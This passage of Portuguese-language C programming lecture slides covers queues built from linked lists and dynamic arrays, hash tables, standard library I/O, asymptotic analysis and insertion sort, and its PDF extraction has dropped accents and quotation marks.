}
return -1;
}
IAED 2007/2008 p.259/569

Estruturas Auto-Referenciadas
Um exemplo:
Implementar fila de valores inteiros utilizando ponteiros
e estruturas

IAED 2007/2008 p.260/569

iqueue.h
extern
extern
extern
extern

void init();
int is_empty();
void queue(int value);
int dequeue();

IAED 2007/2008 p.261/569

iqueue.c
#include <stdio.h>
#include <stdlib.h>
struct iitem {
int value;
struct iitem *next;
};
static struct iitem *putptr = NULL;
static struct iitem *getptr = NULL;
static struct iitem *alloc_item()
{
return (struct iitem *) malloc(sizeof(struct iitem));
}
void init() { putptr = NULL; getptr = NULL; }
int is_empty() { return getptr == NULL; }

IAED 2007/2008 p.262/569

iqueue.c
void queue(int value)
{
struct iitem *nitem = alloc_item();
nitem->value = value;
nitem->next = NULL;
if (putptr) putptr->next = nitem;
else getptr = nitem;
putptr = nitem;
}
int dequeue()
{
int rvalue;
struct iitem *ptmp;
if (is_empty()) return -1;
rvalue = getptr->value;
ptmp = getptr;
getptr = getptr->next;
if (!getptr) putptr = NULL;
free(ptmp);
return rvalue;
}

IAED 2007/2008 p.263/569

Estruturas Auto-Referenciadas
Um exemplo:
Implementar fila generalizada de valores inteiros
utilizando ponteiros e estruturas
Operaes: push(int), pop(),
unshift(int), shift()

IAED 2007/2008 p.264/569

iqueue2.h
extern
extern
extern
extern
extern
extern

int init();
int is_empty();
void push(int value);
int pop();
void unshift(int value);
int shift();

IAED 2007/2008 p.265/569

iqueue2.c
#include <stdio.h>
#include <stdlib.h>
struct iitem {
int value;
struct iitem *prev;
struct iitem *next;
};
static struct iitem *topptr = NULL;
static struct iitem *botptr = NULL;
static struct iitem *alloc_item()
{
return (struct iitem *) malloc(sizeof(struct iitem));
}
void init() { topptr = NULL; botptr = NULL; }
int is_empty() { return topptr == NULL; }
IAED 2007/2008 p.266/569

iqueue2.c
void push(int value)
{
struct iitem *nitem = alloc_item();
nitem->value = value;
if (topptr)
topptr->next = nitem;
else
botptr = nitem;
nitem->prev = topptr;
nitem->next = NULL;
topptr = nitem;
}

IAED 2007/2008 p.267/569

iqueue2.c
int pop()
{
int rvalue;
struct iitem *ptmp;
if (is_empty())
return -1;
rvalue = topptr->value;
ptmp = topptr;
topptr = topptr->prev;
if (topptr)
topptr->next = NULL;
else
botptr = NULL;
free(ptmp);
return rvalue;
}

IAED 2007/2008 p.268/569

iqueue2.c
void unshift(int value)
{
struct iitem *nitem = alloc_item();
nitem->value = value;
if (botptr)
botptr->prev = nitem;
else
topptr = nitem;
nitem->next = botptr;
nitem->prev = NULL;
botptr = nitem;
}

IAED 2007/2008 p.269/569

iqueue2.c
int shift()
{
int rvalue;
struct iitem *ptmp;
if (is_empty())
return -1;
rvalue = botptr->value;
ptmp = botptr;
botptr = botptr->next;
if (botptr)
botptr->prev = NULL;
else
topptr = NULL;
free(ptmp);
return rvalue;
}

IAED 2007/2008 p.270/569

Tabelas Dinmicas II
Um exemplo:
Implementar fila generalizada de valores inteiros
utilizando uma tabela dinmica
Operaes: push(int), pop(),
unshift(int), shift()

IAED 2007/2008 p.271/569

iqueue.c
#include <stdio.h>
#include <stdlib.h>
#define INITQUEUESIZE 5
static
static
static
static
static

int
int
int
int
int

*iqueue;
*queue_top;
queue_dim;
*topptr = NULL;
*botptr = NULL;

IAED 2007/2008 p.272/569

iqueue.c
static int is_full()
{
return
topptr == botptr-1 ||
(botptr == iqueue && topptr == queue_top-1);
}
void init()
{
iqueue = (int*) malloc(INITQUEUESIZE * sizeof(int));
topptr = iqueue;
botptr = iqueue;
queue_dim = INITQUEUESIZE;
queue_top = iqueue+queue_dim;
}
int is_empty() { return topptr == botptr; }

IAED 2007/2008 p.273/569

iqueue.c
static void increase_queue_size()
{
int *pa, *pb;
int *ptmp = iqueue, *ptmptop = queue_top;
int prev_dim = queue_dim;
queue_dim = 2 * queue_dim;
iqueue = (int*) malloc(queue_dim * sizeof(int));
queue_top = iqueue + queue_dim;
for (pa=botptr, pb=iqueue; pa != topptr; ) {
*(pb++) = *(pa++);
if (pa == ptmptop) pa = ptmp;
}
botptr = iqueue;
topptr = iqueue + prev_dim - 1;
free(ptmp);
}
IAED 2007/2008 p.274/569

iqueue.c
void push(int value)
{
if (is_full())
increase_queue_size();
*(topptr++) = value;
if (topptr == queue_top)
topptr = iqueue;
}
int pop()
{
int rvalue;
if (is_empty())
return -1;
if (topptr == iqueue)
topptr = queue_top;
rvalue = *(--topptr);
return rvalue;
}
IAED 2007/2008 p.275/569

iqueue.c
void unshift(int value)
{
if (is_full())
increase_queue_size();
if (botptr == iqueue)
botptr = queue_top;
*(--botptr) = value;
}
int shift()
{
int rvalue;
if (is_empty())
return -1;
rvalue = *(botptr++);
if (botptr == queue_top)
botptr = iqueue;
return rvalue;
}
IAED 2007/2008 p.276/569

Typedef
O typedef permite associar um nome com um tipo de
dados j existente
typedef Inteiro int;
main()
{
Inteiro myint;
...
}

usual utilizar typedef na manipulao de estruturas


auto-referenciadas
struct iitem {
int value;
struct iitem *prev;
struct iitem *next;
};
typedef struct iitem IntItem;
typedef IntItem* IntItemPtr;
IAED 2007/2008 p.277/569

iqueue2.c
#include <stdio.h>
#include <stdlib.h>
struct iitem {
int value;
struct iitem *prev;
struct iitem *next;
};
typedef struct iitem IntItem;
typedef IntItem* IntItemPtr;
static IntItemPtr topptr = NULL;
static IntItemPtr botptr = NULL;
static IntItemPtr alloc_item()
{
return (struct iitem *) malloc(sizeof(struct iitem));
}
void init() { topptr = NULL; botptr = NULL; }
int is_empty() { return topptr == NULL; }
IAED 2007/2008 p.278/569

iqueue2.c
void push(int value)
{
IntItemPtr nitem = alloc_item();
nitem->value = value;
nitem->prev = topptr;
nitem->next = NULL;
if (topptr)
topptr->next = nitem;
else
botptr = nitem;
topptr = nitem;
}

IAED 2007/2008 p.279/569

iqueue2.c
int pop()
{
int rvalue;
IntItemPtr ptmp;
if (is_empty())
return -1;
rvalue = topptr->value;
ptmp = topptr;
topptr = topptr->prev;
if (topptr)
topptr->next = NULL;
else
botptr = NULL;
free(ptmp);
return rvalue;
}

IAED 2007/2008 p.280/569

iqueue2.c
void unshift(int value)
{
IntItemPtr nitem = alloc_item();
nitem->value = value;
nitem->next = botptr;
nitem->prev = NULL;
if (botptr)
botptr->prev = nitem;
else
topptr = nitem;
botptr = nitem;
}

IAED 2007/2008 p.281/569

iqueue2.c
int shift()
{
int rvalue = botptr->value;
IntItemPtr ptmp = botptr;
if (is_empty())
return -1;
rvalue = botptr->value;
ptmp = botptr;
botptr = botptr->next;
if (botptr)
botptr->prev = NULL;
else
topptr = NULL;
free(ptmp);
return rvalue;
}

IAED 2007/2008 p.282/569

Tabelas de Disperso I
Permitem manter conjuntos de palavras
Operaes:
lookup(char*)
insert(char*)
delete(char*)
Exemplo simples, para ilustrar utilizaes de listas com
tabelas

IAED 2007/2008 p.283/569

symtab.h
extern
extern
extern
extern

void
char
char
char

init();
*lookup(char *word);
*insert(char *word);
*delete(char *word);

IAED 2007/2008 p.284/569

symtab.c Tabela de Smbolos


#include <string.h>
#include <stdlib.h>
#define TABDIM 101
struct witem {
char *word;
struct witem *next;
};
typedef struct witem WORDITEM;
typedef WORDITEM* WORDITEMPTR;
static WORDITEMPTR *symtab = NULL;

IAED 2007/2008 p.285/569

symtab.c
#define HBASE 31
static unsigned hashvalue(char *word)
{
unsigned hval = 0;
for(hval=0; *word;)
hval = *(word++) + HBASE * hval;
return hval % TABDIM;
}
void init()
{
WORDITEMPTR *px;
symtab = (WORDITEMPTR*) malloc(TABDIM*sizeof(WORDITEMPTR));
for(px=symtab; px<symtab+TABDIM; px++)
*px = NULL;
}

IAED 2007/2008 p.286/569

symtab.c
char *lookup(char *word)
{
int whval = hashvalue(word), comp;
WORDITEMPTR px = symtab[whval];
for (; px && (comp = strcmp(px->word, word)) < 0; px = px->next)
;
if (px && !comp)
return px->word;
return NULL;
}

IAED 2007/2008 p.287/569

symtab.c
char *insert(char *word)
{
int whval = hashvalue(word), comp;
char *nword = NULL;
WORDITEMPTR px = symtab[whval], py = px, pw;
for (; px && (comp = strcmp(px->word, word)) < 0;
py = px, px = px->next)
;
if (!px || comp) {
nword = (char*) malloc(strlen(word)+1);
strcpy(nword, word);
pw = (WORDITEMPTR) malloc(sizeof(WORDITEM));
pw->word = nword;
pw->next = px;
if (px == py) symtab[whval] = pw;
else py->next = pw;
}
return nword;
}
IAED 2007/2008 p.288/569

symtab.c
char *delete(char *word)
{
int whval = hashvalue(word), comp;
char *rword = NULL;
WORDITEMPTR px = symtab[whval], py = px;
for (; px && (comp = strcmp(px->word, word)) < 0;
py = px, px = px->next)
;
if (px && !comp) {
rword = px->word;
if (px == py)
symtab[whval] = px->next;
else
py->next = px->next;
free(px);
}
return rword;
}
IAED 2007/2008 p.289/569

Exemplos Adicionais
Lista de inteiros simplesmente ligada:
Insero (ordenada) de elemento
Remoo de elemento
#include <stdlib.h>
struct iitem {
int value;
struct iitem *next;
};
typedef struct iitem IntItem;
typedef IntItem* IntItemPtr;
static IntItemPtr first = NULL;
static IntItemPtr alloc_item()
{
return (IntItemPtr) malloc(sizeof(IntItem));
}
void init() { first = NULL; }

IAED 2007/2008 p.290/569

Insero Ordenada de Elemento


int insert(int value)
{
IntItemPtr px, py, nitem;
for (px = first, py = px; px;
py = px, px = px->next)
if (px->value > value)
break;
else if (px->value == value)
return 0; /* no duplicates */
nitem = alloc_item();
nitem->value = value;
nitem->next = px;
if (px == first)
first = nitem;
else
py->next = nitem;
return 1;
}

IAED 2007/2008 p.291/569

Remoo de Elemento
int delete(int value)
{
IntItemPtr px, py;
for (px = first, py = px; px;
py = px, px = px->next)
if (px->value == value) {
if (px == first)
first = first->next;
else
py->next = px->next;
free(px);
return 1;
}
return 0;
}

IAED 2007/2008 p.292/569

Escrever Lista de Inteiros


void print_list()
{
IntItemPtr px;
printf("[ ");
for (px = first; px; px = px->next)
printf("%d ", px->value);
printf("]\n");
}

IAED 2007/2008 p.293/569

IAED 2007/2008 p.294/569

IAED 2007/2008 p.295/569

IAED 2007/2008 p.296/569

Parte VII
K&R Cap. 7

IAED 2007/2008 p.297/569

Bibliotecas do C
Funes para input/output
Input/Ouput standard
Output formatado
Listas de argumentos variveis
Input formatado
Acesso a ficheiros
Input/Output de linhas
Funes para strings
Funes para teste e converso de caracteres
Funes para reserva de memria
Funes matemticas
IAED 2007/2008 p.298/569

Input/Output Standard
int getchar(void)
Retorna o prximo caracter do input de defeito (input
standard), ou EOF caso o fim do ficheiro tenha sido
detectado.
int putchar(int c)
Coloca o caracter c no output de defeito (output
standard). A funo retorna o caracter escrito, ou EOF
caso um erro tenha sido detectado.
#include <stdio.h>
Declara a utilizao de funes da biblioteca de
input/output.

IAED 2007/2008 p.299/569

Output Formatado
int printf(char *format, arg1, ..., argN)
Escreve arg1, ..., argN, de acordo com formato
format
Cada argumento escrito de acordo com uma
especificao de converso, iniciada pelo caracter
% e terminada por um caracter:
Caracteres vlidos:
d, i, o, x, X, u, c, s, f, e, E, g, G, p, %

-: ajustamento esquerda; h/l: short/long


W: largura mnima do argumento a escrever
.: separao entre a largura mnima e a preciso
P: Preciso a utilizar:
caracteres para strings, casas decimais para
reais, nmero mnimo de dgitos em inteiros
*: utilizar argumento como largura ou preciso
IAED 2007/2008 p.300/569

Exemplo
:%s:
:%10s:
:%.10s:
:%-10s:
:%.15s:
:%-15s:
:%15.10s:
:%-15.10s:

:hello, world:
:hello, world:
:hello, wor:
:hello, world:
:hello, world:
:hello, world
:
:
hello, wor:
:hello, wor
:

IAED 2007/2008 p.301/569

Listas de Argumentos Variveis


#include <stdarg.h>
void minprintf(char *fmt, ...) /* minimal printf with var arg list */
{
va_list ap;
/* points to each unnamed arg in turn */
char *p; int ival; double dval;
va_start(ap, fmt);
/* make ap point to 1st unnamed arg */
for (p=fmt; *p; p++) {
if (*p != %)
/* print all other characters */
{ putchar(*p); continue; }
switch (*++p) {
case d:
/* get type int argument */
ival = va_arg(ap, int); printf("%d", ival); break;
case f:
/* get type double argument */
dval = va_arg(ap, double); printf("%g", dval); break;
default:
exit(1); break;
}
}
va_end(ap);
/* clean up when done */
}
IAED 2007/2008 p.302/569

Input Formatado
int scanf(char *format, arg1, ..., argN)
L caracteres do input, interpreta os caracteres de
acordo com a especificao format, e coloca os
resultados em arg1, ..., argN
obrigatoriamente ponteiros
arg1, ..., argN sao

Cada argumento interpretado de acordo com uma


especificao de converso, iniciada pelo caracter
% e terminada por um caracter:
Caracteres vlidos:
d, i, o, x, u, c, s, e, f, g, %
d, i, o, x, u: podem ser precedidos por h
para indicar um short
d, i, o, x, u, e, f, g: podem ser
precedidos por l, para indicar um long (d, i, o, x,
u) ou double (e, f, g)
IAED 2007/2008 p.303/569

Input/Output Formatado
Exemplo:
Data 2003/04/01 lida atravs de:
scanf("%d/%d/%d", &y,&m, &d);
int sscanf(char *str, char *format, arg1,
..., argN)
Equivale a scanf, mas l argumentos de uma string
str
obrigatoriamente ponteiros
arg1, ..., argN sao

int sprintf(char *str, char *format,


arg1, ..., argN)

IAED 2007/2008 p.304/569

Acesso a Ficheiros
#include <stdio.h>
FILE *fopen(char *name, char *mode)
Abre ficheiro, de acordo com modo mode e retorna
ponteiro para acesso a ficheiro

Leitura/Escrita de caracteres:
int fgetc(FILE *fp)
int fputc(int c, FILE *fp)
Leitura/Escrita formatada:
int fscanf(FILE *fp, char *fmt, ...)
int fprintf(FILE *fp, char *fmt, ...)
Fecho de ficheiro:
int fclose(FILE *fp)
IAED 2007/2008 p.305/569

Acesso a Ficheiros
Ponteiros para acesso a ficheiros de defeito:
stdin Input de defeito
stdout Output de defeito
stderr
Escrita de mensagens de erro de defeito
Utilizado com exit(int) para tratamento de erros
Macros comuns:
#define getchar() getc(stdin)
#define putchar(c) putc((c),stdout)
int ungetc(int c, FILE *fp)
Devolve caracter a ficheiro. Retorna EOF em caso de
erro, ou ento c. Apenas um caracter pode ser
devolvido, entre leituras de outros caracteres.
int ferror(FILE *fp); int feof(FILE *fp)

IAED 2007/2008 p.306/569

Imprimir Contedo de Ficheiros


#include <stdio.h>
/* fcat: concatenate files */
main(int argc, char *argv[])
{
void filecopy(FILE *, FILE *);
FILE *fp;
if (argc == 1) /* no args; copy standard input */
filecopy(stdin, stdout);
else
while(--argc > 0)
if ((fp = fopen(*++argv, "r")) == NULL) {
printf("cat: cant open %s\n", *argv);
return 1;
} else {
filecopy(fp, stdout);
fclose(fp);
}
return 0;
}
IAED 2007/2008 p.307/569

Imprimir Contedo de Ficheiros


/* filecopy: copy file ifp to file ofp */
void filecopy(FILE *ifp, FILE *ofp)
{
int c;
while ((c = getc(ifp)) != EOF)
putc(c, ofp);
}

IAED 2007/2008 p.308/569

Input/Output de Linhas
#include <stdio.h>
char *fgets(char *line, int maxline, FILE
*fp)
L linha (incluindo \n) do ficheiro fp. Em caso de
EOF ou erro retorna NULL; caso contrrio retorna
linha
int fputs(char *line, FILE *fp)
Escreve linha para o ficheiro fp. Linha no
necessita ser terminada por \n. Retorna 0, ou EOF
em caso de erro
gets(), para stdin, e puts(), para stdout

IAED 2007/2008 p.309/569

Funes para Strings


#include <string.h>
strcat(s, t)
strncat(s, t, b)
strcmp(s, t)
strncmp(s, t, n)
strcpy(s, t)
strncpy(s, t, n)
strlen(s)
strchr(s, c)
strrchr(s, c)
IAED 2007/2008 p.310/569

Teste e Converso de Caracteres


#include <ctype.h>
isalpha(c)
isupper(c)
islower(c)
isdigit(c)
isalnum(c)
isspace(c)
toupper(c)
tolower(c)

IAED 2007/2008 p.311/569

Reserva de memria
#include <stdlib.h>
void *malloc(size_t n)
Retorna ponteiro para n bytes no inicializados, ou
NULL se pedido falha
void *calloc(size_t n, size_t size)
Retorna ponteiro para array com n objectos de
tamanho size, inicializados a 0, ou NULL se pedido
falha

IAED 2007/2008 p.312/569

Funes Matemticas
#include <math.h>

necessrio ligar com a biblioteca matemtica, -lm


sin(x)
cos(x)
atan2(y,x)
exp(x)
log(x)
log10(x)
pow(x,y)
sqrt(x)
fabs(x)
IAED 2007/2008 p.313/569

Notas sobre Desempenho I


Exemplo: converso para minsculas
#define ITERSIZE
#define BUFFERDIM

1000
1000

extern void lower(char *s);


extern void mk_buffer(char *buffer, int size)
int main(int argc, char **argv)
{
int i, j;
for (i=0; i<ITERSIZE; i++) {
int k = BUFFERDIM-i;
for (j=0; j<i; j++) {
mk_buffer(str_buffer, k+j);
lower(str_buffer);
}
}
}
IAED 2007/2008 p.314/569

Notas sobre Desempenho I


void mk_buffer(char *buffer, int size)
{
int i, tog = 0;
for (i=0; i<size; i++) {
if (tog) buffer[i] = a;
else buffer[i] = A;
tog = 1-tog;
}
}

IAED 2007/2008 p.315/569

Notas sobre Desempenho I


void lower(char *s)
/* Vers
ao 1:
{
int i;
for (i=0; i<strlen(s); i++)
if (s[i] >= A && s[i] <= Z)
s[i] -= (A -a);
}

1224.46s */

void lower(char *s)


/* Vers
ao 2:
{
int i, len = strlen(s);
for (i=0; i<len; i++)
if (s[i] >= A && s[i] <= Z)
s[i] -= (A -a);
}

3.93s */

IAED 2007/2008 p.316/569

Notas sobre Desempenho I


void lower(char *s)
/* Vers
ao 3:
3.87s */
{
int i, len = strlen(s), diff = (A -a);
for (i=0; i<len; i++) {
int l = *s;
if (l >= A && l <= Z)
l -= diff;
*(s++) = l;
}
}
void lower(char *s)
/* Vers
ao 4:
4.07s */
{
char *e = s + strlen(s);
int diff = (A -a);
for (; s<e;) {
int l = *s;
if (l >= A && l <= Z)
*s -= diff;
s++;
}
}

IAED 2007/2008 p.317/569

IAED 2007/2008 p.318/569

IAED 2007/2008 p.319/569

IAED 2007/2008 p.320/569

Parte VIII
Sedgewick, Cap. 2

IAED 2007/2008 p.321/569

Introduo Anlise de Algoritmos


Anlise de Algoritmos
Crescimento de Funes
Notao Assimpttica
Exemplos

IAED 2007/2008 p.322/569

Crescimento de Funes
Parmetro primrio: N
grau de polinmio, tamanho de ficheiro, nmero de
caracteres em string, etc.
usual analisar o tempo de execuo de algoritmos
como funo de um nico parmetro

IAED 2007/2008 p.323/569

Crescimento de Funes
Tempos de execuo tpicos:
1 Se o nmero de instrues de um programa
for executado um nmero limitado/constante
de vezes.
log N Tempo de execuo de um programa logartmico. Quando um problema resolvido
atravs da resoluo de um conjunto de subproblemas.
N Tempo de execuo de um programa linear. Quando existe algum processamento para
cada elemento de entrada.
N log N Quando um problema resolvido atravs da
resoluo de um conjunto de sub-problemas, e
combinando posteriormente as suas solues.
IAED 2007/2008 p.324/569

Crescimento de Funes
Tempos de execuo tpicos (cont.):
N2
N3
2N

Tempo de execuo de um programa


quadrtico. Quando entrada duplica, tempo
aumenta 4xs.
Tempo de execuo de um programa cbico.
Quando entrada duplica, tempo aumenta 8xs.
Tempo de execuo de um programa exponencial. Quando entrada duplica, tempo aumenta para o quadrado!

IAED 2007/2008 p.325/569

Crescimento de Funes
segundos
102
1.7 minutos
104
2.8 horas
105
1.1 dias
106
1.6 semanas
107
3.8 meses
108
3.1 anos
109
3.1 dcadas
1010
3.1 sculos
1011
nunca

IAED 2007/2008 p.326/569

Crescimento de Funes
Operaes
/ segundo
106
109
1012

N = 106
N
N log N
N2
segundos segundos semanas
imediato
imediato
horas
imediato
imediato segundos

IAED 2007/2008 p.327/569

Crescimento de Funes
Operaes
/ segundo
106
109
1012

N = 1012
N
N log N
N2
horas
horas
nunca
segundos segundos dcadas
imediato
imediato semanas

IAED 2007/2008 p.328/569

Crescimento de Funes
log N
3
7
10
13
20

N
N
N log N
N2
3
10
33
100
10
100
664
10000
32
1000
9966
1000000
100
10000
132877
100000000
1000 1000000 19931569 1000000000000

IAED 2007/2008 p.329/569

Notao Assimpttica
Limite Assimpttico Superior:
Uma funo g(N ) diz-se O(f (N )) se existirem c0 e
N0 tal que g(N ) < c0 f (N ) para N > N0 .
c0 f (N )
g(N )

N0

IAED 2007/2008 p.330/569

Notao Assimpttica
Permite:
Limitar erro de ignorar termos menores em
expresses matemticas
Limitar erro de ignorar partes de um programa, as
quais tm contribuio pequena para tempo de
execuo
Classificar algoritmos em termos dos seus limites
assimptticos superiores dos tempos de execuo

IAED 2007/2008 p.331/569

Exemplos Notao O
g(n) = 0.1 n3 + 1000 n2 + 25 109

O(n ) para 3.

O( n ) para > 1...


No O(n ) para < 3.
g(n) = n2 log n35 + 106 n2 + 25 109

O(n ) para 3.
O(n ) para > 2.
O(n2 log n).

O( n ) para > 1...


No O(n2 ).

IAED 2007/2008 p.332/569

Exemplos Procura Sequencial


int search(int a[], int v, int l, int r)
{
int i;
for (i = l; i <= r; i++)
if (v == a[i]) return i;
return -1;
}

No pior caso, so analisados N nmeros


Tempo de execuo, para N elementos, O(N ) no
pior caso
No melhor caso, analisado 1 nmero
Tempo de execuo, para N elementos, O(1) no
melhor caso

IAED 2007/2008 p.333/569

Exemplos Procura Binria I


int search(int a[], int v, int l, int r)
{
while (r >= l)
{ int m = (l+r)/2;
if (v == a[m]) return m;
if (v < a[m]) r = m-1; else l = m+1;
}
return -1;
}

No pior caso, so analisados log N + 1 nmeros (Ver


a seguir)
Tempo de execuo, para N elementos, O(log N )
no pior caso

IAED 2007/2008 p.334/569

Exemplos Preenchimento de Matriz


int read_mat(int mat[N][N])
{
int i, j;
for (i = 0; i < N; i++)
for (j = 0; j < N; j++)
scanf("%d", &mat[i][j]);
return -1;
}

So preenchidas N 2 entradas da matriz


Complexidade do tempo de execuo, para matriz
N N , O(N 2 ) (no pior caso)

IAED 2007/2008 p.335/569

Exemplos Multiplicao de Matrizes


int mult_mat(int matA[N][N], int matB[N][N], int matC[N][N])
{
int i, j, k;
for (i=0; i<N; i++)
for (j=0; j<N; j++) {
matC[i][j] = 0;
for (k=0; k<N; k++)
matC[i][j] += matA[i][k] * matB[k][j];
}
}

So executados 3 ciclos for encadeados, e cada ciclo


executado N vezes
Complexidade do tempo de execuo, para o
produto de duas matrizes N N , O(N 3 ) (no pior
caso)
IAED 2007/2008 p.336/569

Exemplos Procura em Vector I


static int vect[] = { -1, 1, 2, 4, 6, 8, 10, 15, 20, 25 };
static int size = 10;
int main(int argc, char **argv)
{
int p1, p2, y = lookup(vect, size, atoi(argv[1]), &p1, &p2);
if (y > 0) printf("%d %d\n", p1, p2);
}

IAED 2007/2008 p.337/569

Exemplos Procura em Vector II


int lookup(int v[], int sz, int x, int *p1, int *p2)
{
int i;
for (i=0; i<sz; i++) {
int d = x - v[i], y;
y = search(v, d, 0, sz-1); /* procura bin
aria */
if (y > 0) { *p1 = i; *p2 = y; return 1; }
}
return -1;
}

Tempo de execuo: T (N ) = O(N log N )

IAED 2007/2008 p.338/569

Exemplos Procura em Vector III


int lookup(int v[], int sz, int x, int *p1, int *p2)
{
int i = 0, j = sz-1;
while (i < j) {
int sum = v[i] + v[j];
if (sum > x) j--;
else if (sum < x) i++;
else { *p1 = i; *p2 = j; return 1; }
}
return -1;
}

/* sem repetir... */

Tempo de execuo: T (N ) = O(N )

IAED 2007/2008 p.339/569

Recorrncias
Permitem modelar tempo de execuo de funes
baseadas na decomposio de um problema num
conjunto de outros problemas
Exemplo 1: Analisar input para eliminar um elemento
CN = CN 1 + N , para N 2, C1 = 1
CN = CN 2 + (N 1) + N
= CN 3 + (N 2) + (N 1) + N
..
.
= 1 + 2 + . . . + (N 1) + N
N (N + 1)
=
2
= O(N 2 )
IAED 2007/2008 p.340/569

Recorrncias Exemplo 2
Funo recursiva que a cada passo divide o input a
metade
CN = CN/2 + 1 para N 2, C1 = 1.

Considerar N = 2n .

C2n =
=
=
..
.
=

C2n1 + 1
C2n2 + 1 + 1
C2n3 + 3
C20 + n = n + 1

CN = log N + 1 para N = 2n .

Se N/2 N/2, CN = log N + 1

IAED 2007/2008 p.341/569

Recorrncias Exemplo 3
Funo recursiva que a cada passo divide o input em
duas metades, mas que analisa todo o input
CN = 2 CN/2 + N para N 2, C1 = 0.

Considerar N = 2n .

C2n /2n = C2n1 /2n1 + 1


= C2n2 /2n2 + 1 + 1
= C2n3 /2n3 + 3
..
.
= n
CN = N log N para N = 2n .
IAED 2007/2008 p.342/569

Exemplos Procura Binria II


int search(int a[], int v, int l, int r)
{
while (r >= l)
{ int m = (l+r)/2;
if (v == a[m]) return m;
if (v < a[m]) r = m-1; else l = m+1;
}
return -1;
}

O total de nmeros analisados no excede


log N + 1 = O(log N ).
TN TN/2 + 1, com N 2, T1 = 1.

IAED 2007/2008 p.343/569

Exemplos Factorial
long fact(int n)
{
return (n > 1) ? n*fact(n-1) : 1;
}

Tempo de execuo (desprezando constantes):


Tn = Tn1 + 1, T (0) = 1
Tn = n + 1 = O(n)

IAED 2007/2008 p.344/569

Outra Notao Assimpttica


Limite Assimpttico Inferior:
Uma funo g(N ) diz-se (f (N )) se existirem c0 e
N0 tal que c0 f (N ) < g(N ) para N > N0 .

g(N )

c0 f (N )

N0

IAED 2007/2008 p.345/569

Outra Notao Assimpttica


Limite Assimpttico Apertado:
Uma funo g(N ) diz-se (f (N )) se existirem c1 , c2
e N0 tal que c2 f (N ) < g(N ) < c1 f (N ) para N > N0 .
c1 f (N )
g(N )

c2 f (N )

N0

IAED 2007/2008 p.346/569

Exemplos Notao Assimpttica


Uma funo g(N ) diz-se (f (N )) se e s se g(N ) for
O(f (N )) e (f (N )).
g(n) = 0.1 n3 + 1000 n2 + 25 109

(n3 ).

(n3 ).
No (n ) para 6= 3.
No (n ) para > 3.
g(n) = n2 log n35 + 106 n2 + 25 109

(n2 log n).


(n2 log n).

(n2 ), (n), (1)...


IAED 2007/2008 p.347/569

IAED 2007/2008 p.348/569

Parte IX
Sedgewick, Cap. 3

IAED 2007/2008 p.349/569

Estruturas de dados elementares


Tipos bsicos

IAED 2007/2008 p.350/569

Estruturas de dados elementares


Tipos bsicos
Estruturas

IAED 2007/2008 p.350/569

Estruturas de dados elementares


Tipos bsicos
Estruturas
Tabelas

IAED 2007/2008 p.350/569

Estruturas de dados elementares


Tipos bsicos
Estruturas
Tabelas
Listas

IAED 2007/2008 p.350/569

Estruturas de dados elementares


Tipos bsicos
Estruturas
Tabelas
Listas
Amontoados

IAED 2007/2008 p.350/569

Tipos bsicos
Inteiros
Reais
Caracteres
Ponteiros
short a1;
int a2;
long a3;
float x1;
double x2;
char c1;
int *p1;

IAED 2007/2008 p.351/569

Tipos compostos
Estruturas
struct point {
float x;
float y;
};

Unies
struct line_point {
int type;
union {
struct point {
float x,y;
}
struct line {
float x1,y1;
float x2,y2;
}
}
};

IAED 2007/2008 p.352/569

Tabelas
Coleco de items
Inteiros, reais, caracteres
Estruturas ou unies
Tabelas, Ponteiros
Guardados em posies consecutivas de memria
int tab[n];

n1

Programador responsvel por respeitar limites

IAED 2007/2008 p.353/569

Tabelas
Em C, tabelas podem ser:
De dimenso fixa
Alocadas dinamicamente
#define N 100
int tab1[N];
int *tab2 = malloc(n*sizeof(int));

Acesso a tabelas alternativo


Com ponteiros
Usando aritmtica de ponteiros
x = tab2[i];
y = *(tab2+i);
IAED 2007/2008 p.354/569

Exemplo: crivo de Eratstenes


#define N 1000
main() {
int i,j,a[N];
for (i=2;i<N;i++) a[i] = 1;
for (i=2;i<N;i++)
if (a[i])
for(j=i; i*j<N; j++)
a[i*j] = 0;
for (i=2; i<N; i++)
if (a[i]) printf("%4d",i);
printf("\n");
}

IAED 2007/2008 p.355/569

Exemplo: simulao de moedas ao ar


#include <stdlib.h>
int heads()
{ return rand() < RAND_MAX/2; }
main(int argc, char *argv[])
{ int i, j, cnt;
int N = atoi(argv[1]), M = atoi(argv[2]);
int *f = malloc((N+1)*sizeof(int));
for (j = 0; j <= N; j++) f[j] = 0;
for (i = 0; i < M; i++, f[cnt]++)
for (cnt = 0, j = 0; j <= N; j++)
if (heads()) cnt++;
for (j = 0; j <= N; j++)
{
printf("%2d ", j);
for (i = 0; i < f[j]; i+=10) printf("*");
printf("\n");
}
}

IAED 2007/2008 p.356/569

Listas simplesmente ligadas


Conjunto de ns
Cada n contm
Informao til
Ponteiro para outro n

typedef struct node *link;


struct node {Item item; link next;};
IAED 2007/2008 p.357/569

Apagamento em listas

t = x>next;
x
t

x>next = t>next;

x
t

IAED 2007/2008 p.358/569

Insero em listas

t>next = x>next;

t
x>next = t;
x

IAED 2007/2008 p.359/569

Inverso de lista
link reverse(link x)
{ link t, y = x, r = NULL;
while (y != NULL)
{ t = y->next; y->next = r; r = y; y = t; }
return r;
}

IAED 2007/2008 p.360/569

Insertion sort Verso 1


static int *vect;
void init()
{
int i;
vect = (int*) malloc(N*sizeof(int));
for (i=0; i<N; i++)
vect[i] = rand() % M;
}
void print()
{
int i;
printf("[ ");
for (i=0; i<N; i++)
printf("%d ", vect[i]);
printf("]\n");
}

IAED 2007/2008 p.361/569

Insertion sort Verso 1


void isort()
/* Utiliza tabela */
{
int i, j;
for (i=1; i<N; i++) {
int key = vect[i];
j = i-1;
while (j>=0 && vect[j] > key) {
vect[j+1] = vect[j];
j--;
}
vect[j+1] = key;
}
}

IAED 2007/2008 p.362/569

Insertion sort Verso 2


typedef int Item;
typedef struct node *link;
struct node { Item item; link next; };
static struct node *head;
void init()
{
int i;
link pt, pv;
head = NULL;
for (i = 0; i < N; i++) {
pt = malloc(sizeof *pt);
pt->next = NULL;
pt->item = rand() % M;
if (!head) head = pt;
else pv->next = pt;
pv = pt;
}
}
IAED 2007/2008 p.363/569

Insertion sort Verso 2


void isort()
/* Utiliza lista */
{
link pa, pb, px, py, pz;
for (px = head->next, py = head; px != NULL; px = pz) {
py->next = px->next;
pz = px->next;
for (pb=head, pa=pb; pb!=pz; pa=pb, pb=pb->next) {
if (pb->item > px->item)
break;
}
if (pa == pb) { head = px; }
else
{ pa->next = px; }
px->next = pb;
if (pb == pz) { py = px; }
}
}

